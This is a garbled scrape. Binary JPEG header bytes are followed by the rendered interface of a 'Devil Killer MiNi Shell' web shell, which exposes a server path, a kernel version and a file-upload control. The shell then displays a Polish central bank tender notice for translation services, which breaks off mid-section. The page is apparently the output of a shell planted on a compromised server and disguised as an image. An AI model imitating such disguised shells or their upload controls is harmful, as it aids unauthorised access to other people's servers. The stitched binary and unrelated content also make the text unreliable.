JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20220824/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20220824/0031860501-N-2022.html

<!-- Version 1.0.0 --><style type="text/css"> .normal { color: black; } h1.title { }</style> <h1 class="text-center mt-5 mb-5">Ogłoszenie o zamówieniu<br/> Usługi<br/> Wykonywanie tłumaczeń pisemnych i ustnych (symultanicznych i konsekutywnych) </h1> <h2 class="bg-light p-3 mt-4">SEKCJA I - ZAMAWIAJĄCY</h2> <h3 class="mb-0">1.1.) Rola zamawiającego</h3> <p class="mb-0">Postępowanie prowadzone jest samodzielnie przez zamawiającego</p> <h3 class="mb-0">1.2.) Nazwa zamawiającego: <span class="normal">NARODOWY BANK POLSKI</span></h3> <h3 class="mb-0">1.4) Krajowy Numer Identyfikacyjny: <span class="normal">REGON 000002223</span></h3><h3 class="mb-0">1.5) Adres zamawiającego </h3> <h3 class="mb-0">1.5.1.) Ulica: <span class="normal">ul. Świętokrzyska 11/21</span></h3> <h3 class="mb-0">1.5.2.) Miejscowość: <span class="normal">Warszawa</span></h3> <h3 class="mb-0">1.5.3.) Kod pocztowy: <span class="normal">00-919</span></h3> <h3 class="mb-0">1.5.4.) Województwo: <span class="normal">mazowieckie</span></h3> <h3 class="mb-0">1.5.5.) Kraj: <span class="normal">Polska</span></h3> <h3 class="mb-0">1.5.6.) Lokalizacja NUTS 3: <span class="normal">PL911 - Miasto Warszawa</span></h3> <h3 class="mb-0">1.5.9.) Adres poczty elektronicznej: <span class="normal">DKRZ-WPO2@nbp.pl</span></h3> <h3 class="mb-0">1.5.10.) Adres strony internetowej zamawiającego: <span class="normal">www.nbp.pl</span></h3> <h3 class="mb-0"> 1.6.) Rodzaj zamawiającego: <span class="normal">Zamawiający publiczny - osoba prawna, o której mowa w art. 4 pkt 3 ustawy (podmiot prawa publicznego)</span> </h3> <h3 class="mb-0"> 1.7.) Przedmiot działalności zamawiającego: <span class="normal">Inna działalność</span> </h3> <p class="mb-0"> polityka pieniężna </p> <h2 class="bg-light p-3 mt-4">SEKCJA II – INFORMACJE PODSTAWOWE</h2> <h3 class="mb-0">2.1.) Ogłoszenie dotyczy: </h3> <p class="mb-0"> Zamówienia publicznego </p> <h3 class="mb-0">2.2.) Ogłoszenie dotyczy usług społecznych i innych szczególnych usług: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.3.) Nazwa zamówienia albo umowy ramowej: </h3> <p class="mb-0"> Wykonywanie tłumaczeń pisemnych i ustnych (symultanicznych i konsekutywnych) </p> <h3 class="mb-0">2.4.) Identyfikator postępowania: <span class="normal">ocds-148610-e76c81b9-221c-11ed-b8b2-9a321cc30829</span></h3> <h3 class="mb-0">2.5.) Numer ogłoszenia: <span class="normal">2022/BZP 00318605</span></h3> <h3 class="mb-0">2.6.) Wersja ogłoszenia: <span class="normal">01</span></h3> <h3 class="mb-0">2.7.) Data ogłoszenia: <span class="normal">2022-08-24</span></h3> <h3 class="mb-0">2.8.) Zamówienie albo umowa ramowa zostały ujęte w planie postępowań: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.11.) O udzielenie zamówienia mogą ubiegać się wyłącznie wykonawcy, o których mowa w art. 94 ustawy: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.14.) Czy zamówienie albo umowa ramowa dotyczy projektu lub programu współfinansowanego ze środków Unii Europejskiej: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.16.) Tryb udzielenia zamówienia wraz z podstawą prawną</h3> <p class="mb-0"> Zamówienie udzielane jest w trybie podstawowym na podstawie: art. 275 pkt 2 ustawy </p> <h2 class="bg-light p-3 mt-4">SEKCJA III – UDOSTĘPNIANIE DOKUMENTÓW ZAMÓWIENIA I KOMUNIKACJA</h2> <h3 class="mb-0">3.1.) Adres strony internetowej prowadzonego postępowania</h3> https://e-zamowienia.nbp.pl <h3 class="mb-0">3.2.) Zamawiający zastrzega dostęp do dokumentów zamówienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.4.) Wykonawcy zobowiązani są do składania ofert, wniosków o dopuszczenie do udziału w postępowaniu, oświadczeń oraz innych dokumentów wyłącznie przy użyciu środków komunikacji elektronicznej: <span class="normal">Tak</span></h3> <h3 class="mb-0">3.5.) Informacje o środkach komunikacji elektronicznej, przy użyciu których zamawiający będzie komunikował się z wykonawcami - adres strony internetowej: <span class="normal">https://e-zamowienia.nbp.pl</span></h3> <h3 class="mb-0">3.6.) Wymagania techniczne i organizacyjne dotyczące korespondencji elektronicznej: <span class="normal">1) Komunikacja odbywa się przy użyciu środków komunikacji elektronicznej na Platformie Zakupowej NBP pod adresem https://e-zamowienia.nbp.pl.<br/>2) Wykonawca na Platformie Zakupowej NBP bez zalogowania może zapoznać się z dokumentacją postępowania oraz zadać pytanie do Zamawiającego.<br/>3) Warunkiem przystąpienia do postępowania i złożenia oferty jest posiadanie konta na platformie MarketPlanet. Warunkiem<br/>założenia konta jest przesłanie wniosku do operatora platformy MarketPlanet poprzez stronę https://oneplace.marketplanet.pl Proces<br/>akceptacji wniosku z poprawnie wprowadzonymi danymi trwa do 24 godzin<br/>w dni robocze.<br/>4) Złożenie oferty w postępowaniu możliwe jest tylko przez wskazaną Platformę Zakupową NBP.<br/>5) Platforma dopuszcza załączanie plików o wielkości do 100 MB.<br/>6) Zalecane formaty plików: .pdf, .doc, .xlsx, .zip. W przypadku niemożności dołączenia plików w innych formatach zaleca się skompresowanie plików do paczki .zip oraz dołączenie ich do systemu. <br/>7) Oznaczenie czasu odbioru danych przez Platformę: data oraz dokładny czas (hh:mm:ss) generowany wg czasu lokalnego serwera synchronizowanego odpowiednim źródłem czasu - zegarem Głównego Urzędu Miar.<br/>8) W postępowaniu ofertę oraz oświadczenie z art. 125 ust. 1 Pzp składa się pod rygorem nieważności w formie elektronicznej (tj. w postaci elektronicznej opatrzonej kwalifikowanym podpisem elektronicznym) lub w postaci elektronicznej opatrzonej podpisem zaufanym lub podpisem osobistym.<br/>9) Wymagania sprzętowo-aplikacyjne umożliwiające pracę na Platformie oraz pozostałe szczegółowe informacje w ww. zakresie zawarte są w<br/>załączniku nr 1 i 2 do SWZ. <br/>10) Pozostałe informacje:<br/>a) Informacje stanowiące tajemnicę przedsiębiorstwa wykonawca przekazuje w pliku wydzielonym i oznaczonym na Platformie jako „niejawny”.<br/>b) W przypadku podpisania pliku podpisem zewnętrznym, konieczne jest wysłanie pary plików: pliku podpisanego i pliku zawierającego podpis.<br/>c) Pierwsza czynność podpisania oferty kwalifikowanym podpisem lub podpisem osobistym może wymagać zainstalowania dedykowanego rozszerzenia do aplikacji Szafir oraz oprogramowania Java, oraz konieczności administracyjnego odblokowania systemu na komputerze przez administratorów informatycznych wykonawcy. Aby podpisać ofertę podpisem zaufanym należy posiadać Profil Zaufany, który umożliwi podpisywanie plików.<br/>11) W przypadku problemów z obsługą konta w szczególności: z założeniem konta, zalogowaniem się na konto, złożeniem ofert/wniosków, komunikacją z Zamawiającym za pośrednictwem konta - wszelkie pytania i prośby o wyjaśnienie prosimy kierować do operatora platformy MarketPlanet za pomocą następujących kanałów komunikacji (od poniedziałku do piątku w godzinach od 9:00 do 17:00):<br/>- Telefonicznie pod numerem: +48 (22) 25 72 223<br/>- Czat pod adresem: https://oneplace.marketplanet.pl<br/>- E-mail: oneplace@marketplanet.pl</span></h3> <h3 class="mb-0">3.8.) Zamawiający wymaga sporządzenia i przedstawienia ofert przy użyciu narzędzi elektronicznego modelowania danych budowlanych lub innych podobnych narzędzi, które nie są ogólnie dostępne: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.12.) Oferta - katalog elektroniczny: <span class="normal">Nie dotyczy</span></h3> <h3 class="mb-0">3.14.) Języki, w jakich mogą być sporządzane dokumenty składane w postępowaniu: </h3> <p class="mb-0">polski</p> <h2 class="bg-light p-3 mt-4">SEKCJA IV – PRZEDMIOT ZAMÓWIENIA</h2><h3 class="mb-0">4.1.) Informacje ogólne odnoszące się do przedmiotu zamówienia.</h3> <h3 class="mb-0">4.1.1.) Przed wszczęciem postępowania przeprowadzono konsultacje rynkowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.2.) Numer referencyjny: <span class="normal">SEZ/DKRZ-WPO2-JM-241-0331/DZ/22</span></h3> <h3 class="mb-0">4.1.3.) Rodzaj zamówienia: <span class="normal">Usługi</span></h3> <h3 class="mb-0">4.1.4.) Zamawiający udziela zamówienia w częściach, z których każda stanowi przedmiot odrębnego postępowania: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.8.) Możliwe jest składanie ofert częściowych: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.13.) Zamawiający uwzględnia aspekty społeczne, środowiskowe lub etykiety w opisie przedmiotu zamówienia: <span class="normal">Nie</span></h3><h3 class="mb-0">4.2. Informacje szczegółowe odnoszące się do przedmiotu zamówienia:</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> 1.	Przedmiotem zamówienia jest wykonywanie:<br/>1)	pisemnych tłumaczeń materiałów przekazywanych Wykonawcy przez Zamawiającego, z języka polskiego na język ukraiński, z języka ukraińskiego na język polski, z języka polskiego na język angielski (w tym przysięgłych), z języka angielskiego na język polski (w tym przysięgłych), oraz z języka niemieckiego na język polski;<br/>2)	ustnych tłumaczeń z języka polskiego na język angielski i z języka angielskiego na język polski. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.7.) Dodatkowy kod CPV: </h3> <p class="mb-0">79540000-1 - Usługi w zakresie tłumaczeń ustnych</p> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <!-- realizacja w dniach --> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">36 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert</h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Cena i inne kryteria</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal"> Punktowo </span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">55</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: </h3> organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Liczba tłumaczy dedykowanych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">15</span></h3> <h3 class="mb-0">Kryterium 3</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: </h3> organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Doświadczenie tłumaczy dedykowanych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">30</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA V - KWALIFIKACJA WYKONAWCÓW</h2> <h3 class="mb-0">5.1.) Zamawiający przewiduje fakultatywne podstawy wykluczenia: <span class="normal">Tak</span></h3> <h3 class="mb-0">5.2.) Fakultatywne podstawy wykluczenia: </h3> <p class="mb-0">Art. 109 ust. 1 pkt 4</p> <p class="mb-0">Art. 109 ust. 1 pkt 7</p> <p class="mb-0">Art. 109 ust. 1 pkt 8</p> <p class="mb-0">Art. 109 ust. 1 pkt 9</p> <p class="mb-0">Art. 109 ust. 1 pkt 10</p> <h3 class="mb-0">5.3.) Warunki udziału w postępowaniu: <span class="normal">Tak</span></h3> <h3 class="mb-0">5.4.) Nazwa i opis warunków udziału w postępowaniu.</h3> O udzielenie zamówienia mogą się ubiegać wykonawcy, którzy:<br/>1)	wykażą, że w okresie ostatnich 3 lat przed upływem składania ofert, a jeżeli okres prowadzenia działalności jest krótszy – w tym okresie, należycie wykonał, a w przypadku świadczeń okresowych lub ciągłych wykonuje, co najmniej:<br/>A.	24 zamówienia na usługę tłumaczenia pisemnego, w tym:<br/>a)	4 zamówienia na usługę tłumaczenia pisemnego w kombinacji językowej: język polski - język angielski, przy zastrzeżeniu, że pojedyncze zamówienie nie może obejmować przetłumaczenia mniej niż 20 stron rozliczeniowych tekstu*,<br/>b)	4 zamówienia na usługę tłumaczenia pisemnego w kombinacji językowej: język angielski - język polski, przy zastrzeżeniu, że pojedyncze zamówienie nie może obejmować przetłumaczenia mniej niż 20 stron rozliczeniowych tekstu*;<br/>c)	4 zamówienia na usługę tłumaczenia pisemnego w kombinacji językowej: język polski – język ukraiński, przy zastrzeżeniu, że pojedyncze zamówienie nie może obejmować przetłumaczenia mniej niż 20 stron rozliczeniowych tekstu*;<br/>d)	4 zamówienia na usługę tłumaczenia pisemnego w kombinacji językowej: język ukraiński – język polski, przy zastrzeżeniu, że pojedyncze zamówienie nie może obejmować przetłumaczenia mniej niż 20 stron rozliczeniowych tekstu*;<br/>e)	4 zamówienia na usługę tłumaczenia pisemnego w kombinacji językowej: język niemiecki – język polski, przy zastrzeżeniu, że pojedyncze zamówienie nie może obejmować przetłumaczenia mniej niż 20 stron rozliczeniowych tekstu*;<br/>f)	2 zamówienia na usługę tłumaczenia pisemnego przysięgłego w kombinacji językowej: język polski - język angielski, przy zastrzeżeniu, że pojedyncze zamówienie nie może obejmować przetłumaczenia mniej niż 5 stron rozliczeniowych tekstu**;<br/>g)	2 zamówienia na usługę tłumaczenia pisemnego przysięgłego w kombinacji językowej: język angielski - język polski, przy zastrzeżeniu, że pojedyncze zamówienie nie może obejmować przetłumaczenia mniej niż 5 stron rozliczeniowych tekstu **;<br/>*	Za stronę rozliczeniową tłumaczenia pisemnego przyjmuje się stronę zawierającą 1500 znaków, w tym spacje. <br/>** Za stronę rozliczeniową tłumaczenia pisemnego przysięgłego przyjmuje się stronę zawierającą 1125 znaków, w tym spacje.<br/>B.	Wymagane jest, aby co najmniej 5 zamówień na usługę tłumaczenia pisemnego z wskazanych jako ppkt A lit a-e oraz co najmniej 2 zamówienia na usługę tłumaczenia pisemnego przysięgłego z wskazanych jako ppkt A lit f-g – dotyczyły co najmniej jednego spośród niżej wymienionych zakresów tematycznych:<br/>a)	stabilność finansowa,<br/>b)	polityka pieniężna (w tym instrumenty polityki pieniężnej),<br/>c)	modelowanie makroekonomiczne,<br/>d)	zarządzanie rezerwami walutowymi,<br/>e)	zarządzanie ryzykiem operacyjnym i finansowym,<br/>f)	rachunkowość,<br/>g)	działalność emisyjna,<br/>h)	system płatniczy,<br/>i)	systemy informatyczne,<br/>j)	edukacja ekonomiczna i PR,<br/>k)	obieg gotówkowy, produkcja banknotów i zapobieganie fałszerstwom znaków pieniężnych,<br/>l)	technologie informatyczne w systemie bankowym,<br/>m)	aspekty prawne związane z szeroko rozumianym funkcjonowaniem banku centralnego;<br/>n)	zarządzanie zasobami ludzkimi,<br/>o)	audyt wewnętrzny,<br/>p)	bezpieczeństwo banku centralnego,<br/>C.	8 zamówień na usługę tłumaczenia ustnego, w tym co najmniej:<br/>a)	4 zamówienia muszą obejmować tłumaczenie symultaniczne z języka polskiego na język angielski i z języka angielskiego na język polski, przy zastrzeżeniu, że każde z wykazanych zamówień powinno obejmować tłumaczenie w łącznym czasie nie krótszym niż 2 bloki tłumaczeniowe (4 godziny każdy blok);<br/>b)	4 zamówienia muszą obejmować tłumaczenie konsekutywne z języka polskiego na język angielski i z języka angielskiego na język polski, przy zastrzeżeniu, że każde z wykazanych zamówień powinno obejmować tłumaczenie w łącznym czasie nie krótszym niż 2 bloki tłumaczeniowe (4 godziny każdy blok);<br/>D.	Wymagane jest, aby co najmniej 2 zamówienia na usługę tłumaczenia ustnego symultanicznego oraz 2 zamówienia na usługę tłumaczenia konsekutywnego z wskazanych w ppkt C dotyczyły co najmniej jednego spośród niżej wymienionych zakresów tematycznych:<br/>a)	stabilność finansowa;<br/>b)	polityka pieniężna (w tym instrumenty polityki pieniężnej);<br/>c)	modelowanie makroekonomiczne;<br/>d)	zarządzanie rezerwami walutowymi;<br/>e)	zarządzanie ryzykiem operacyjnym i finansowym;<br/>f)	rachunkowość;<br/>g)	działalność emisyjna;<br/>h)	system płatniczy;<br/>i)	systemy informatyczne;<br/>j)	edukacja ekonomiczna i PR;<br/>k)	obieg gotówkowy, produkcja banknotów i zapobieganie fałszerstwom znaków pieniężnych;<br/>l)	technologie informatyczne w systemie bankowym;<br/>m)	aspekty prawne związane z szeroko rozumianym funkcjonowaniem banku centralnego;<br/>n)	zarządzanie zasobami ludzkimi;<br/>o)	audyt wewnętrzny;<br/>p)	bezpieczeństwo banku centralnego.<br/>2)	Wykonawca zobowiązany jest wykazać, że dysponuje lub będzie dysponować osobami, które zostaną skierowane do realizacji zamówienia, tj.:<br/>a)	co najmniej 4 tłumaczami posiadającymi wykształcenie wyższe w kierunku filologia angielska lub lingwistyka stosowana oraz co najmniej 3 letnie doświadczenie, w okresie ostatnich 10 lat, w wykonywaniu tłumaczeń pisemnych z języka polskiego na język angielski, przy czym każdy z nich wykonał co najmniej jedno tłumaczenie pisemne z języka polskiego na język angielski obejmujące co najmniej jeden spośród zakresów tematycznych wymienionych w ppkt B niniejszego Rozdziału;<br/>b)	co najmniej 4 tłumaczami posiadającymi wykształcenie wyższe w kierunku filologia angielska lub lingwistyka stosowana, oraz co najmniej 3 letnie doświadczenie, w okresie ostatnich 10 lat, w wykonywaniu tłumaczeń pisemnych z języka angielskiego na język polski, przy czym każdy z nich wykonał co najmniej jedno tłumaczenie pisemne z języka angielskiego na język polski obejmujące co najmniej jeden spośród zakresów tematycznych wymienionych w pkt B niniejszego Rozdziału;<br/>c)	co najmniej 2 tłumaczami posiadającymi wykształcenie wyższe w kierunku filologia ukraińska lub lingwistyka stosowana lub slawistyka, oraz co najmniej 3 letnie doświadczenie, w okresie ostatnich 5 lat, w wykonywaniu tłumaczeń pisemnych z języka ukraińskiego na język polski, przy czym każdy z nich wykonał co najmniej jedno tłumaczenie pisemne z języka ukraińskiego na język polski obejmujące co najmniej jeden spośród zakresów tematycznych wymienionych w ppkt B niniejszego Rozdziału;<br/>d)	co najmniej 2 tłumaczami posiadającymi wykształcenie wyższe w kierunku filologia ukraińska lub lingwistyka stosowana lub slawistyka, oraz co najmniej 3 letnie doświadczenie, w okresie ostatnich 5 lat, w wykonywaniu tłumaczeń pisemnych z języka polskiego na język ukraiński, przy czym każdy z nich wykonał co najmniej jedno tłumaczenie pisemne z języka polskiego na język ukraiński obejmujące co najmniej jeden spośród zakresów tematycznych wymienionych w ppkt B niniejszego Rozdziału;<br/>e)	co najmniej 2 tłumaczami posiadającymi wykształcenie wyższe w kierunku filologia niemiecka lub lingwistyka stosowana, oraz co najmniej 3 letnie doświadczenie, w okresie ostatnich 10 lat, w wykonywaniu tłumaczeń pisemnych z języka niemieckiego na język polski, przy czym każdy z nich wykonał co najmniej jedno tłumaczenie pisemne z języka niemieckiego na język polski obejmujące co najmniej jeden spośród zakresów tematycznych wymienionych w ppkt B niniejszego Rozdziału;<br/>f)	co najmniej 1 tłumaczem posiadającym wykształcenie wyższe w kierunku filologia angielska lub lingwistyka stosowana oraz posiadającym prawo do wykonywania zawodu tłumacza przysięgłego, oraz co najmniej 3 letnie doświadczenie, w okresie ostatnich 10 lat, w wykonywaniu tłumaczeń pisemnych przysięgłych z języka polskiego na język angielski, przy czym tłumacz ten wykonał co najmniej jedno tłumaczenie pisemne przysięgłe z języka polskiego na język angielski obejmujące co najmniej jeden spośród zakresów tematycznych wymienionych w ppkt B niniejszego Rozdziału;<br/>g)	co najmniej 1 tłumaczem posiadającym wykształcenie wyższe w kierunku filologia angielska lub lingwistyka stosowana oraz posiadającym prawo do wykonywania zawodu tłumacza przysięgłego, oraz co najmniej 3 letnie doświadczenie, w okresie ostatnich 10 lat, w wykonywaniu tłumaczeń pisemnych przysięgłych z języka angielskiego na język polski, przy czym tłumacz ten wykonał co najmniej jedno tłumaczenie pisemne przysięgłe z języka angielskiego na język polski obejmujące co najmniej jeden spośród zakresów tematycznych wymienionych w ppkt B niniejszego Rozdziału;<br/>h)	co najmniej 4 tłumaczami posiadającymi wykształcenie wyższe w kierunku filologia angielska lub lingwistyka stosowana oraz co najmniej 3 letnie doświadczenie, w okresie ostatnich 10 lat, w wykonywaniu tłumaczeń ustnych z języka polskiego na język angielski i z języka angielskiego na język polski, przy czym każdy z nich wykonał co najmniej jedno tłumaczenie ustne obejmujące co najmniej jeden spośród zakresów tematycznych wymienionych w ppkt D niniejszego Rozdziału;<br/>i)	co najmniej 4 korektorami w tym:<br/>- 2 korektorów posiadających co najmniej wykształcenie wyższe w kierunku: filologii angielskiej lub lingwistyki stosowanej, lub filologii polskiej oraz co najmniej 3 letnie doświadczenie, w okresie ostatnich 10 lat, przy korekcie tekstów w języku angielskim i w języku polskim;<br/>- 1 korektora posiadającego co najmniej wykształcenie wyższe w kierunku: filologii ukraińskiej lub slawistyki lub lingwistyki stosowanej lub filologii polskiej oraz co najmniej 3 letnie doświadczenie, w okresie ostatnich 5 lat, przy korekcie tekstów w języku ukraińskim i w języku polskim;<br/>- 1 korektora posiadającego co najmniej wykształcenie wyższe w kierunku: filologii niemieckiej lub lingwistyki stosowanej lub filologii polskiej, oraz co najmniej 3 letnie doświadczenie, w okresie ostatnich 10 lat, przy korekcie tekstów w języku polskim przetłumaczonych z języka niemieckiego. <h3 class="mb-0">5.5.) Zamawiający wymaga złożenia oświadczenia, o którym mowa w art.125 ust. 1 ustawy: <span class="normal">Tak</span></h3> <h3 class="mb-0"> 5.6.) Wykaz podmiotowych środków dowodowych na potwierdzenie niepodlegania wykluczeniu: <span class="normal">1) oświadczenie wykonawcy, w zakresie art. 108 ust. 1 pkt 5 ustawy Pzp, o braku przynależności do tej samej grupy kapitałowej w rozumieniu ustawy z dnia 16 lutego 2007 r. o ochronie konkurencji i konsumentów (Dz. U. z 2020 r. poz. 1076 i 1086), z innym wykonawcą, który złożył odrębną ofertę, ofertę częściową albo oświadczenie o przynależności do tej samej grupy kapitałowej wraz z dokumentami lub informacjami potwierdzającymi przygotowanie oferty, oferty częściowej niezależnie od innego wykonawcy należącego do tej samej grupy kapitałowej;<br/>2) odpis lub informacja z Krajowego Rejestru Sądowego lub z Centralnej Ewidencji i Informacji o Działalności Gospodarczej, w zakresie art. 109 ust. 1 pkt 4 ustawy Pzp, sporządzone nie wcześniej niż 3 miesiące przed jej złożeniem, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji.</span> </h3> <h2 class="bg-light p-3 mt-4">SEKCJA VI - WARUNKI ZAMÓWIENIA</h2> <h3 class="mb-0">6.1.) Zamawiający wymaga albo dopuszcza oferty wariantowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.3.) Zamawiający przewiduje aukcję elektroniczną: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.4.) Zamawiający wymaga wadium: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.5.) Zamawiający wymaga zabezpieczenia należytego wykonania umowy: <span class="normal">Tak</span></h3> <h3 class="mb-0">6.6.) Wymagania dotyczące składania oferty przez wykonawców wspólnie ubiegających się o udzielenie zamówienia: </h3> 2.	Wykonawcy 